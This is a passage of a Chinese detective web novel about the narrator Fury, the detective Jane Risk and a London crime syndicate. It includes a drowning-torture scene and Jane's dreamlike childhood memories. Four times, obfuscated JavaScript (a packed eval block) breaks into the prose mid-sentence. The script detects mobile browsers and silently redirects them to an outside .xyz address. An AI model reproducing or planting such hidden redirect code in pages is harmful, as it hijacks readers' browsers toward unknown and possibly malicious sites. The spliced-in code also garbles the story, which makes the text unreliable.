“好，好的！感谢您！”听到可以见简，我内心的其他疑虑全部都抛之脑，我扫了一眼那些欺软怕硬的成员，果断回去换衣服了。 转身的时候，我似乎听到梅尔说给其他人一个机会，让那个男人消失。 等我收拾好出来的时候，外面就只有梅尔一个人了。 我没有多问，而是跟着坐上了她的车。她的车很新，似乎也是沃尔特…哦不…沃尔品牌的。 她的驾驶技术很狂野，或者说她不像简那么照顾我，总之没等我怎么反应过来，我们就来到了之前那片地方。 第一次来的时候，因为我满心恐慌和担心简，我根本没来得及认真的看这个地方，也没有多大的注意力放在外面。 现在我才发现，这似乎是一大片私人宅邸，周围不说是绿植，简直算得上是密林了！ 而且进来似乎还得经过层层审核，经过好几道大门，但是那些守卫看见梅尔的脸都很怂的退了下去。 这一次我没有去见“先生”。 梅尔小姐直接带我去见了简。 她在一间高级的养护房里。是的，高级。即使是以我家族的家族的标准来看的话，这间养护房也是非常的高级。 但是，那些都不重要。 简躺在病床上。她在昏迷。 我没见过她这样…脆弱。 梅尔没有进来，她似乎停在了门口，认真且专注地看着。而我，我放轻了自己的脚步，一步步走向了简。 我伸出手想触摸她，指尖微微颤抖。 “简，你要早点醒来。你说好要和我一起探案的，说好要带我兜风的。”我喃喃自语道。 手指触碰到她的皮肤，温热的。她的呼吸很平缓，幸好伤口没有给她造成影响。 我在一旁的看护椅上坐了下来。 简和“金环蛇”到底什么关系？她是什么身份？她经历过什么？ 我看着她平常总是平静冰冷的脸，此刻在昏迷中，竟然莫名的柔软了下来。 还有她的伤…… 我不由自主地看着她脖颈上的那条恐怖的伤疤。 “简，你说过你会亲口告诉我的，所以你一定要早点醒来，好吗？”我伸手提她整理一下头发，顺便压好了被子。 十一月的伦敦是冷的。但今天难得的没有下雨，阳光从巨大的落地窗里透进来，带着暖意地洒下来，照在简的身上。 我就那么注视着她。 我从来没有想过我的人生中会遇见简这样子的朋友，也从来没有想过我的生活会像现在这样。 我又想起了公寓里那些家族、亲戚、父母、甚至还有我那忙于学业的弟弟寄给我的各式各样的信件。 他们在批判我的生活、我的行为，谴责我给家族招黑，似乎在苦口婆心地规劝一位“叛逆”的淑女。 我没有理会。 我理解家族的担忧，但他们也不能限制我的自由。 也许我现在的生活与我之前的一切格格不入，甚至危险，但我不会退缩。 而且，我不可能永远让简保护。 上帝啊。请您见证…… “本小姐。”梅尔在门外叫我，她一直在外面等待着。 “好，我知道了，梅尔小姐。” 我站起身，向门外走去，边走边不由自主地望简那看了一眼。 当我转过头，我发现梅尔小姐也在看着简，那个眼神很复杂。 怎么说呢？就像冰封的河流，无论内里多么汹涌，外面都是寒冰与克制。 “梅尔小姐。”我叫她，叫这个锐利危险的女性，我问她，“你为什么不进来看看她呢？” 但这位小姐只是沉默地看了我一眼，然后克制地摇了摇头。 “我们走吧。”她说。 …… 我们碰见了格林小姐和她的手下。 或者说，格林小姐从一开始就在堵我们。 她带着精致的眼镜，穿着优良的香奈儿新款套裙，踩着优雅的高跟，仍旧是漫不经心与慵懒的意味。 那股清冽，辛辣的类似栀子花的香水味仍然在她的周声萦绕。 她仿佛永远挂着那礼貌完美的微笑。 她先笑着向梅尔示意，“梅尔小姐，您就这么带着人自如地金环蛇内部是否……” “格林，有话说！”梅尔挡在了我的面前。 “别生气唉，只是您现在似乎并不是金环蛇的人，我只是……”格林小姐笑着说。 梅尔直接拔出了自己的木仓，她毫不掩饰自己对格林小姐的不喜甚至厌恶。 “好吧好吧。”格林小姐状似无奈地耸耸肩，将目光放在了梅尔小姐身后的我身上。 “本小姐，原谅我的手下并不知趣，我邀请你来是真的有事。”她仍旧挂着完美优雅的笑容。 今天一早她就派她的手下来找我了，现在她又提出来了。 我没有说话。 但是格林小姐看着我自顾自的说下去了，“是关于‘Justice’的审判。” 她仍旧笑着，优雅而完美，像一条漂亮的美人蛇，让我感到不寒而栗。 “金环蛇”的人抓到了“Justice ”？但是为什么要找我？ 审判？他们二者有什么区别呢？ 不过是一样的内核与本质。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而梅尔小姐，像一道忠实的影子，沉默的跟随我来到了这里。 “本小姐，你认为怎么样？”格林小姐站在我的旁边，注视着水池里的那个人，意味深长的问。 “你们怎么抓到他的？”我忍不住问。 “小姐，请不要小瞧金环蛇的力量。” 她感叹着，垂目向下看去，就像是看见了某段回忆里。 “他其实是一个人才，可惜…他要的秩序是他一个人搅动的。” 格林小姐，像是对森特斯说，又像是对我说。 森特斯在我们刚进来的时候就注意到了，对于格林小姐的说法，这个刚刚还要死不活的人，突然笑了出来。 “哈哈哈咳咳咳！”他的笑混杂着血沫，声嘶力竭。 “不过是…一团群聚的毒蛇……真当自己是秩序了！？只有我…正义…审判…才是秩序！才能杀死那些蛀虫……给我足够的时间…我能拥有足够的资本实力……” 森特斯是虚弱的，但他又在嘶吼着。 简说的对，我永远没法完全弄明白别人的想法。 我弄不明白格林小姐，我也弄不明白现在浸泡在水里的森特斯。 我只能注视着。 读者们，当我写到这儿的时候，我才后知后觉的明白，我所注视的是一个深陷黑暗的人对我的善意，以及一个背离理想的主义者最后的妄念。 格林小姐朝一边的手下示意。 悬挂着森特斯的绳子猛地一松。 冰水吞没森特斯，最后只剩下“咕咚”一声。 水面翻腾起一串泡沫，像垂死之人的语言。 我死死盯着那些气泡，突然意识到自己正屏住呼吸，仿佛我也被浸在那池水里。 “三、二、一……”格林小姐数着，抬手示意拉紧绳索。 森特斯被拽出水面，他像条被钓起的鱼，抖动挣扎，咳出的血溅在看台边缘。 行刑人看向格林小姐，她歪了歪头：“再问一次，亲爱的，账本在哪里？” 森特斯只是疯狂地扯动嘴角，“不…没有…它…你也要…” 绳子第二次放松时，格林小姐从口袋里掏出一块怀表开始计时。 这次水面平静得更快，只有几缕头发像水草般浮上来。 她“咔嗒”合上表盖，转头对我微笑 “倒是比上次那个人多撑了几秒。” 梅尔小姐终于松开了拽住我的手。 我低头看去，发现自己掌心有几个渗血的月牙形伤口。 原来我一直在掐着自己。 十一月的伦敦，太冷了。 刺骨的冰水，终结了一个人的狂热与妄念，然后又恢复平静，也不再有波澜。 而金环蛇要的，也许就是这样平静的水面，无论底下是有多么的波涛汹涌。 金环蛇…不…那位先生又是出于什么理由呢？ 我不知道。 但我想，格林小姐必然是其忠实的拥护者与护卫者。 在后来的日子里，我曾问过格林小姐关于账本的事。 当时的格林小姐想了一会才笑着说：“亲爱的，那不过是一个工具。” 工具不是唯一，得不到，也有千千万万的方法。 40.4.11 简·里斯克感觉一切都是这个世界的一切雾蒙蒙的。 她站在庭院里，看着天空在下雨。 为什么雨是红色的呢？ 简·里斯克不明白。 她感觉到冷。 很冷，冷入骨髓。 就好像，生命，连同这红色的雨一起消失了。 简·里斯克似乎已经13岁了。 她没见过自己的母亲，更没见过自己的父亲。只有祖父，和这座沉默的牢笼。 她在一个大宅院里。 简·里斯克看着灰色的砖石。 很高。墙很高。 窗户很多。黑洞洞的。 雨落在上面。红色的水痕蜿蜒流下。 大宅院很空旷。 只有简·里斯克站在这里。 她没听到别的声音。除了雨。 红色的雨。 门在哪里？ 简·里斯克想不起来。或者，不想想。 那些紧闭的门后，锁着什么呢？ 也许是比红雨更冷的东西。 她只知道，她想出去。 她漫无目的地向前走，雨水浸透了她的头发和单薄的衣衫。 红色的雨落在她的身上。 “简小姐，请问您…？” 一个模糊的，看不清面容的中年人叫住了简·里斯克。 “我想出去。” 简·里斯克抬头，试图看清那张脸。 她感觉那个人很熟悉。 她认识这个人吗？ 他是谁？ 他是谁？？！ “出去啊。抱歉。小姐。我们奉命守着您。这是为了您的安全。” 中年人的话越来越低，似乎充满了悲伤，话里面包含了许多里斯克不懂的东西。 没关系，她已经习惯了。 习惯是这红雨里唯一的庇护。 “你是谁？”她追问。 滴答。 雨水落在地上，面前的人消失了，仿佛从未存在过。 里斯克愣了一下。 又一个。 一个又一个的人出去了，或者像这样消失了，再没有回来。 只剩下她和这永不疲倦的红雨。 那个人会回来吗？ 简·里斯克不知道。 红色的雨还在下。 她感觉更冷了。 就像她的表情也很冷。 她很少笑。 祖父教导要“喜怒不形于色”。 但随着人越来越少，祖父脸上的笑容却越来越张扬。 “武器…战争…权利…” 简·里斯克站在庭院里，她总是能听见祖父在喜笑颜开地高谈论阔。 简·里斯克站着，红色的雨点打在她的脸上。 这雨，什么时候会停呢？ 所有人都告诉她，这不是她该关心的。 简·里斯克喜欢去找自己的礼仪老师。 她是灰暗高墙里唯一一抹不同的颜色，虽然同样看不清面容，但她的声音是暖的。 她会和里斯克聊天，告诉她墙外的故事，告诉她书里描绘的星辰大海和人性光辉。 那些是被筛选掉的不该让她触碰的“杂质”。 “我们的简，以后肯定是一个很好很好的人。”优雅的声音带着笃定。 “什么是好？”简·里斯克问。 她在那些“杂质”里读到过，但依然模糊。 像隔着红雨看太阳。 训练，学习，还有…偷偷看书。 时间在书页的翻动和雨滴的中流逝。 红色的雨似乎变小了？ 也许只是错觉。 简·里斯克小姐已经14岁了。 祖父带来了一个人影。 “这是你的影子。好好使用。”祖父的手按在她头上，带着不容置疑。 “她会替你行走在你不该去的地方。” “我会的。”简看向那团模糊的轮廓。 “我想见母亲。”简·里斯克的声音很平静。 但是，面前没有面容的祖父突然开始扭曲，变成了一团雾气。 雾气在扩散，密密麻麻。 雾气包裹了她。 雨还在下。 好冷。简·里斯克想。 “小姐。我会保护您的。” 雾气中，一个似乎与她同龄的女声坚定清晰地说。 那团影子凝聚成一个恭敬的人形。 “你叫什么名字？” 简·里斯克站在雨里，站在雾气中。 “影子没有名字。”面前的人形微微低头。 简沉默了片刻，目光扫过灰色的高墙。 “那…你叫梅尔（Merle）吧。” 首席。一个带着力量的名字。 这样，我能护住你吗？ 梅尔（影子）静静地立着。 简望向天空，灰蒙蒙的，压得很低。 她在这里似乎待得够久了。 她想离开这。 简向前走，影子远远地跟着她。影子很忠心，她是属于简的影子。 但是，影子会保持距离。 礼仪老师死了。 苏格兰场说是自杀。 从最高的塔楼坠落，像一只折翼的鸟。 简知道不是。 苏格兰场是废物。 废物才会看不见老师眼中曾闪烁的，对“杂质”的热爱和对她的期许。 “小姐，我会帮你的。” 梅尔的声音在阴影里响起，没有温度，只有承诺。 梅尔找到了那个喉咙被割开的凶手。 效率很高。 可是，老师再也不会用温暖的声音叫她“我们的简”了。 塔楼下的血迹很快被红雨冲刷干净，像从未存在过。 简不喜欢这样子。 真相不该沉没在红雨里。 它应该像阳光一样刺破这灰色的牢笼。 但她被困住了，只能在这巨大的迷宫里漫无目的地游荡。 她知道，深深的地下，囚着一只蓝鸟。 从她出生起就在那里。 那是她隐秘的朝圣地。 蓝鸟厌恶她，怨恨她。 蓝鸟的鸣叫是破碎的悲歌，诅咒着这牢笼和与牢笼有关的一切。 没关系。 简依然固执地去看她。 隔着冰冷的栏杆，像隔着两个无法交融的世界。 蓝鸟想要自由。 简想守住这牢笼里唯一一点不同的颜色。 祖父死了。 死在他那张象征着权力的高背椅上，脸上还带着着胜利者的笑容。 简似乎已经15岁了。 大宅子消失了。 好冷。 好多蛇。 冰冷滑腻的蛇，从祖父消失的地方涌出，缠绕上她的脚踝。 梅尔挡在简·里斯克身前，她一道沉默影子。 “父亲。”简喊。 声音里没有温度，也没有恐惧。 “不。称呼我为先生就行了。” 一个更冰冷的声音在蛇群的簇拥中响起。 新的主人接管了蛇窝。 简不喜欢他，也不怕他。 没关系的。 她感觉到一种冰冷的力量在自己体内滋长。 她有能力。 至少，保护自己想保护的？她不确定。 她再次走向地下的囚室。 笼子消失了，但是毒蛇缠绕着她。 蓝鸟是破碎的。 洁白的羽毛沾染着污迹，蓝色的光泽黯淡。 她讨厌笼子。她更惧怕蛇，她从来都不喜欢蛇，她也从来都不喜欢这个地方。 她厌恶这里的一切，尤其厌恶简·里斯克身上越来越浓的蛇类气息。 她更憎恨简带来的每一个消息。 她越来越狂躁，也越来越虚弱。 她想要自由。 她本属于天空。 “乖…孩子…别怕。”蓝鸟的声音颤抖着，带着悲戚与决绝的疯狂，“与其烂掉，不如一起解脱。” 她的羽毛很锋利，如同匕首。 “嗬嗬…咳咳咳…母亲……” 简捂着脖子下意识地低唤。 那是她第一次，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065719|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是唯一一次，清晰地喊出这个称呼。 蓝鸟的动作戛然而止。 时间仿佛凝固。 那双充满怨恨的眼睛里，是无声的悲恸。她发出凄厉到极致的哀鸣，仿佛灵魂被硬生生撕裂。 影子进来了。 蛇进来了。 “孩子，不要一直在黑… 蓝鸟死了。 混乱平息。 蓝鸟倒在地上，洁白的羽毛彻底被染红，像庭院里永不干涸的红雨。 她终于自由了。以一种最惨烈的方式。 蛇群盘绕在简·里斯克的脚边。 她还活着。 “活下来？”先生的声音在阴影里响起，带着一丝玩味，“那就待在我身边吧。” 简·里斯克没有回答。 她抬起头，望向那并不存在的天空方向。 雨还在下，红色的，温热的？ 不，依然是刺骨的寒冷。 她想走出去。这个念头从未如此强烈。 她固执地迈开脚步，向前，向着任何可能不是这里的方向。 梅尔无声地跟上，保持着她的距离。 蛇在黑暗中。 黑暗中有很多东西。 它们是新的背景，新的枷锁。 简·里斯克似乎已经19岁了？ 或者更久？ 她在这呆多久？ 她似乎一直都没有变化。 又好像什么都变了。 时间在流逝吗？ 时间又似乎错乱。 只有雨，讨厌的雨，红色的雨，落在她的身上。 “啊哈！瞧瞧我发现了什么？一条落单迷茫的小蛇！”一个轻佻戏谑的声音响起。 一只羽翼漆黑的乌鸦不知何时落在附近残破的石雕上，血红的眼睛狡黠地转动，打量着简。 喜欢盗窃宝石的乌鸦。 简总能一眼看穿他华丽的伪装和闪烁的谎言。 他们认识了，在红雨和废墟的边缘。 “啊哈！你这种人，幸好不是侦探。”乌鸦梳理着羽毛，语气带着惯常的嘲弄。 “侦探？”简·里斯克停住脚步。 “侦探是什么？” “侦探？”乌鸦夸张地张开翅膀。 “就是追逐真相的疯子！把藏在阴影里的蛆虫揪出来晒在太阳底下的人！调查谜团，抓住凶手，让该死的人付出代价……或者被代价压死！啊哈哈哈！”他狂笑着，笑声在雨声中显得格外刺耳。 “我想成为侦探。”简说。 简·里斯克想到了老师，想到了蓝鸟。 “啊哈，那就去呗！”乌鸦扑棱着飞起，留下一串渐远的尖笑，“活着嘛？不就图个自己痛快？” 简·里斯克不是为了痛快，是为了让某些死亡，不再毫无意义。 里斯克去见了毒蛇。 那位先生。 他在权力的中心，更老了，但环绕的毒蛇更多，目光也更森冷。 没关系。 毒蛇有自己的财宝和扭曲的理念，他从未真正视她为继承者，只当她是一件有用的武器，或一个需要监视的变数。 “我不认可你的理念。”简直视着那双蛇瞳般的眼睛。 这是她第一次明确地宣战。 毒蛇只是嘶嘶地笑了，不置可否。 不认可又如何？你流着蛇血，困在蛇窟。 但简·里斯克固执地往前走。 向着乌鸦飞走的方向，向着心中那道从未熄灭的微光。 忽然，她停下了。 红色的雨……停了？ 一缕微弱却真实存在的阳光，透过厚重的云层，落在她沾满红雨的脸上，带来几乎被遗忘的暖意。 她似乎见到了阳光。 有人在叫她。 “简…简……” 声音很熟悉，很温暖。 这是梦吗？ 还是现实？ 又或者是早已逝去的过去？ 阳光落在她的身上。 简·里斯克眨了眨眼。 总之，简·里斯克该醒了。 从这场漫长的红色噩梦中。 41.4.12 几乎是轰动一时的“Justice”连环杀人案，就这样没头没尾的结束了。甚至带上了几分不真实感。 苏格兰场的通缉令永远高悬。 而最初的犯人，再也不会落网。 当然，在之后的数年，“Justice”的模仿犯层出不穷。 我和简处理的与之相关的档案也在不断的增加。 但我们都知道，有关森特斯的审判，早已在那个水牢落幕，消息也早就已经播撒至整个地下世界。并且震慑了无数蠢蠢欲动的穷凶极恶之徒。 保持沉默，并且牢记。 金环蛇到底是一个怎样的组织呢？ 接触的越多，反倒越像是雾里看花，看不分明。 但这些年的职业生涯让我清楚，有些事物，存在即合理。 当我落笔写下这些文字的时候，简在我的身边，因为没有案子，她倒是有些无聊。 出于安全原因，我们一同搬出了位于圣比得里的原公寓，我们去了一个新的公寓。 在布鲁姆斯伯里，靠近大英博物馆，附近是大学城，治安良好，周围的人员也比较简单。 我不清楚简做了什么，我只知道，之后很久，直到现在，再也没有那些杀手和“杂鱼”上门来。 我们在布鲁姆斯伯里的公寓度过了很长时间。即使日子仍旧充满了探案、追查、还有各种各样的犯罪，但是当我和简回到公寓的时候，一切又好像安定下来了。 简还会支持我在公寓的庭院中侍养些花草。 “亲爱的弗瑞，当然可以。”简眨了眨她浅绿色的眼睛，笑着说。 布鲁姆斯伯里似乎不再是一个普通的落脚点，而是我们真正共同生活的家。 简其实有些像小猫，最初的时候，她总是带着冰冷和锐利，后来在一点一滴的相处中，她也逐渐透露出柔软。 我总是拿她没有办法。 她惯会利用情绪了，她一向知道我会心软，所以总是用示弱和撒娇来逃避问题，或者是用她浅绿色的眼睛看着我，就那么不说话。 这到是和我最初认识的那个里斯克小姐有些判若两人了。 但我知道，简·里斯克从来都没有变。 当她受伤昏迷，留在了金环蛇的地盘，我是多么恐慌了。 天主垂怜。 幸好…简没有… …… 当时我在查令十字街的事务所整理“Justice”的相关档案，我知道当简醒来肯定是想要知道的。 门外传来了规律的敲门声，是熟悉的暗号，我还以为是老滴答。 “进。”我整理着手中的报纸，漫不经心地应了一声。 门开了。 我没抬头，只把报纸往旁边推了推。桌上堆满了卷宗，空气里有灰尘和旧墨水的味道。 然后，有人靠近。 动作很轻，但存在感很强。 没等我反应，我就进入了一个怀抱。 怀抱的力道很克制，就像是某种失而复得。 桌上报纸滑落发出轻响。老座钟的指针在滴答滴答地转动着。 她的下巴搁在我肩窝。隔着衬衫布料，能感觉到她身体的温度和瘦削。几缕发丝蹭过我的脖子。 “简…”我回抱住她，声音里透着压抑的颤抖，以及确认。 “嗯…抱歉……弗瑞。”简的声音闷闷的，“我回来了。” 那个时候，我感觉我苦苦支撑的情感终于找到了一个宣泄地。 泪水控制不住的奔涌出来。几乎把简的衣服都打湿了。 我想到了我们初遇时候的那场大雨，简回来了，我想，我可以好好哭一场了。 边哭，我边起身从简的怀抱中出来，认认真真地检查着她的情况。 感谢上帝，简看起来没有什么大碍。 “好了，我没事的。”简又些失笑，她伸出手替我擦了擦脸，“真的。” “我以为……” 我没有说下去，拉着简回了她惯常的座椅上，然后连忙找我们忠实的老滴答，让他帮忙上一些热茶。 简可能才恢复，不能喝咖啡，得注意身体。 我不停地忙活着，给简热茶，给她讲关于“Justice”的，还有关于金环蛇所谓的“结案”。 我似乎一直都在讲，但我一直都没有问出那些积压在我心里的问题。 那些关于简·里斯克带着血气的过去。 但是，简拉着我说，“好了，亲爱的弗瑞，休息一下？我想你也需要热茶。” 她停顿了一下，浅绿色的眼睛里满是忐忑与坦诚。 她说：“弗瑞，我之前答应过你的。所以……你愿意听一个故事吗？一个略显俗套的故事？” 读者们，我不认为那是略显俗套的故事。 那是简·里斯克的过去，即使那并不美好，带着死亡与血气。 事实上，我对于简·里斯克和金环蛇那位先生的关系是有些猜测的。 但是，当这些真真切切地从简的口里说出来，我又是多么希望我的猜测并未成立。 导师？父亲？ 简慢慢诉说着，从从事武器的家族，到被囚禁的母亲，还有梅尔…… 她讲述的很简短。她的话语也如同分析案件一样平稳。就好像在诉说一件与自己无关的事。 但我却透过她寥寥数语看见了那个曾经的简·里斯克。 我看着她平静的侧脸，阳光从窗外照了进来，散落在她的脸上。 我感到胸口有些闷闷的，特别的酸涩。 我不知道怎么安慰她，我也不需要安慰她。 简停止了叙说，她用她浅绿色的眼睛注视着我，里面似乎是复杂的感情。 但她什么都没有说。 我感觉到了简的担忧。 没关系的。 我拉住她，“我认识的简·里斯克，很好，很强大，是位私家侦探。” 过去不可避免，它无法改变我对于简·里斯克的印象，以及我与她的经历。 “嗯。”简应道。 然后，她似乎想起了什么，语气低低地说，“对不起。弗瑞。我没有一开始告诉你。” 她似乎是怕我生气误会，一整个把我抱在怀里，“我有注意你的安全的。我让梅尔…额…我有示意过的。” 她把头放在我颈边蹭了蹭，带着点服软。 “好了好了。我相信你会保护好我的。”我无奈地从她怀里出来，顺便帮她整理了一下头发。 毕竟，当子弹来临的时候。 简·里斯克的第一反应是推开我啊。 作为朋友，作为搭档。 我无需质疑。这是我的选择。 当然，很多事情我也不会追根究底。 除了… “简，现在你可以说一说，当时为什么，要找我做搭档吗？” 简的身体已经恢复了，我们也物色好了新的住处。 搬家那天，阳光明媚，天气晴朗。 我问出了上面的问题。 “简…请不要和我说什么体面社交哦。”我拦在她的面前，避免着她的逃避，“你只是不愿意，又不是不能。” 简当时显然没想到我会猝不及防问这么一个问题。 她抬头，看向天空，“因为…我想，而你愿意。” 她又这样… 这可真是……算了…还不赖。 后来简又说，她当时真真切切是这样想的。 也许因为是雨中相遇？也许是因为最初我没有拒绝？又或者是因为我对她的态度？ 我不清楚。 但我想，命运是奇妙的。 …… 读者们，在后来的日子里，我到是和那位曾经的“信使”，简曾经的影子，梅尔小姐，有了更多的接触。 如果说，简·里斯克说夏日的寒冰，那么，梅尔小姐，就是冬日的匕首。 与其说是距离…不如说是游离。 她没有过去，也无所谓未来。 她在意的只有里斯克。 不是出于影子的使命。简也从不只是把她当成影子而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071128|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反倒是因为一种连接。 那是她们的故事。 而我和梅尔小姐，我感觉得到她一开始的时候，对我并没有什么多大的喜欢。 最初，或许是因为简，所以她保护和帮我。 但是，不知道她什么时候变了。 变化是可以感觉得到了，总之，在简的牵线搭桥之下，我和梅尔小姐逐渐相熟。 “梅尔小姐，请问一下你这个…” “梅尔小姐，教教我吧…” “梅尔…” “师父…” 是的，读者们，梅尔小姐后来成为了我的师父（也许是受不了我的软磨硬泡？），她教我基本的常识，还有加训我使用各种武器。 简当然也会教我，但她的教学很温和，我不想在经历那种无力了，不想发生简受伤而我什么也干不了。 我需要能力。 梅尔小姐的教学很严厉，但也是立竿见影的。 …… 在郊外隐蔽的靶场上，我握木仓的手心全是汗。 姿势，呼吸，力道…… 梅尔要求精确到分毫。 稍有偏差，那浅灰色的眼睛就扫过来，不带责备，却比任何斥责都让人心头发紧。 “再来。”她的声音没什么起伏。 子弹进入靶心。虎口被震得发麻，耳朵嗡嗡作响。我放下枪，甩了甩手，看向她。 梅尔只是微微颔首，走过来检查。 “嗯。记住这个感觉。”她收走我的木仓，动作利落，“休息五分钟。” 我几乎是毫无仪态地靠在冰冷的墙壁上喘气，汗水浸湿了后背。远处的简靠在门框边，抱着手臂看着我们。她没有出声打扰，只是注视着我们。 梅尔丢过来一瓶水。我拧开，冰凉的液体滑过喉咙。 “为什么肯教我？”我终于问出口。 梅尔正在擦拭她自己的配木仓，动作没停。隔了几秒，才抬眼，短暂地落在我脸上。“你活着，对她好。” 她的声音依旧平淡，像在说今天天气。 “还有…我说过，你们很像。” 理由简单，我愣了下，随即笑了笑。 这很梅尔。 “哦。”我应了一声，把剩下的水喝完，拧紧瓶盖。“那继续？” 梅尔没说话，只是把擦好的木仓推回枪套，重新拿起我的练习木仓递过来。 训练结束时。我浑身酸痛，手指都在颤抖。简这才走过来，手里拿着条干净的毛巾。 “怎么样？”她问，目光落在我身上，带着询问。 “还行。”我接过毛巾擦了把脸。“梅尔小姐教得……很彻底。” 简看向梅尔。梅尔正低头整理装备袋，闻言只是点了点头。简嘴角弯起一个极浅的弧度，像是某种无声的交流达成了。 回去的路上，我坐在后座，累得几乎要睡着。简开着车，布鲁姆斯伯里的街灯一盏盏掠过车窗，在车内投下明明暗暗的光影。梅尔坐在副驾，望着窗外飞逝的街景。 公寓里很安静。厨房飘来炖汤的香气，大概是老滴答准备的。简打开灯，暖黄的光线瞬间充满了客厅。 “先去洗个热水澡？”她回头问我。 我点点头，拖着沉重的脚步往浴室走。 换上干净的家居服出来，简已经坐在小沙发里，手里拿着一本书，旁边的落地灯散发着柔和的光。梅尔……大概回她自己那边了。 我在她旁边的地毯上坐下，背靠着沙发。简的目光从书页上移开。 “感觉如何？”她放下书。 “累。”我老实说，“但……有用。” “慢慢来。”她的声音低低的，带着安抚的意味。“有梅尔在，你可以放心学。” “嗯。对了，明天庭院的那些花该浇水了。”我忽然说。 “嗯，我记得。”她应着。 日子就是这样。 有靶场的硝烟，也有布鲁姆斯伯里庭院里等待浇灌的花草。有梅尔冰冷的教导，也有和简一起调查的奔走。它们交织在一起。 42.4.13 我似乎做了一个漫长的梦。 我不喜欢。 我还活着。 意料之中。 但是，弗瑞受了很大的惊吓。 我很抱歉。 我应该早点把危险告诉她的。 但是，抱歉。 梅尔说我在害怕。 也许是的。 我让梅尔跟着弗瑞，我也做出过示意，我会保护好她的。 她能接受吗？ 我不应该怀疑的。 这是对她的不信任。 …… 一群疯了的杂鱼。 金环蛇的漏网之鱼。 “你丧失了应有的警惕。”那个男人说。 呵。 我的木仓怼在了男人头上。 “你也是。”我说。 格林眼观鼻鼻观心。她一向聪明。 至于那个男人，他笑了，他是个疯子，他无所谓。 “处理好你这边的东西。” 这是第几次了？ 不过是这个男人给我的警告和提醒。 我从来都弄不懂他。 …… 我带着梅尔解决了一堆杂鱼。 开木仓，放话，威慑，轻车熟路。 我不希望弗瑞再受到打扰了。 我找了格林。 “小姐，先生其实是看重你的。”她说。 呵。 她和那个男人如出一辙，喜欢优雅，体面，以为没有人能懂他们的内心。 当然，她和那个男人秉持着同一套理念。 “黑暗需要管控。”她说。 这我认同。 但是，由谁管控？ 那个男人控制的金环蛇？ 呵。 派系争斗，内部散乱，空有其表。 他老了。 但我不想陷在他的蛇窟里。 我也不希望弗瑞受他的威胁。 “格林小姐，你倒是聪明。所以，合作愉快。”我说。 这没什么。 …… 弗瑞很坚强，或者说，她很固执。 梅尔不讨厌弗瑞。 我就知道。 没有人会真的讨厌弗瑞的。 但是，为什么梅尔成了弗瑞的师父？ 明明我也可以教弗瑞的。 梅尔说我和弗瑞很像。 我不这样认为。 弗瑞就是弗瑞。 …… 还有“Justice”的案子，真的辛苦弗瑞了。 “小姐，她很努力。”梅尔和我说。 弗瑞就是很努力。 “Justice”是一个疯子，也是一个傻子。 沉浸在自己的妄想里。 伦敦地下世界盘根错节那么多年。 怎么可能是他杀几个喽喽动摇得了的。 搅动秩序？ 也许他只是需要一个高大上的理由，需要一个吞钱的理由。 又或者，他想成为一种符号？ 算了，不管处于什么理由，他的确嚣张。 也不需要去探究了。 “你多管闲事了。”我带着梅尔拦住了格林。 我是后来才知道格林所谓的邀请的。 “这是为了她好。”格林从容地笑着，“难道你愿意告诉她吗？难道你愿意永远……” “永远什么？” 她没说完。也不需要说完。 那双聪明的眼睛看着我，里面是怜悯？还是算计？都一样令人作呕。 “小姐，你知道我在说什么。”她语调轻柔，“有些事情，知道比不知道更好。尤其是对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071129|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她那样……纯粹的人。” 纯粹？ 弗瑞只是在黑暗中走得还不够深。或者说，我把她挡在了最深的泥沼外面。 她不需要接触这些深沉的东西。 “格林。”我站起身，阴影笼罩着她，“我的事，我的人，我管。” 她端起茶杯，抿了一口，姿态无可挑剔。 “当然。您是里斯克小姐。” 虚伪。 “管好你自己。”我转身。 …… 雨又开始下。 冰冷的，细密的，钻进领口。 梅尔在等我，汇报弗瑞今天的训练。她学得很快，梅尔说，眼神里有光。 光。 我靠在冰冷的砖墙上，点燃一支烟。火星在潮湿的空气里明明灭灭。 格林的话挥之不去。 永远保护她？永远瞒着她？ 呵。 哪有什么永远。 只有现在。只有我手里的刀，梅尔的木仓，还有这该死的、盘根错节的黑暗。 “Justice”死了，还会有下一个疯子。金环蛇的杂鱼清了，还会有新的毒蛇冒头。 那个男人……他永远不会真正放手。 弗瑞的光，能亮多久？ 烟蒂被我狠狠摁灭在墙上，留下一道焦黑的痕迹。 梅尔推门出来，看到我。“小姐？” “嗯。”我直起身，甩掉手上的雨水，“弗瑞睡了？” 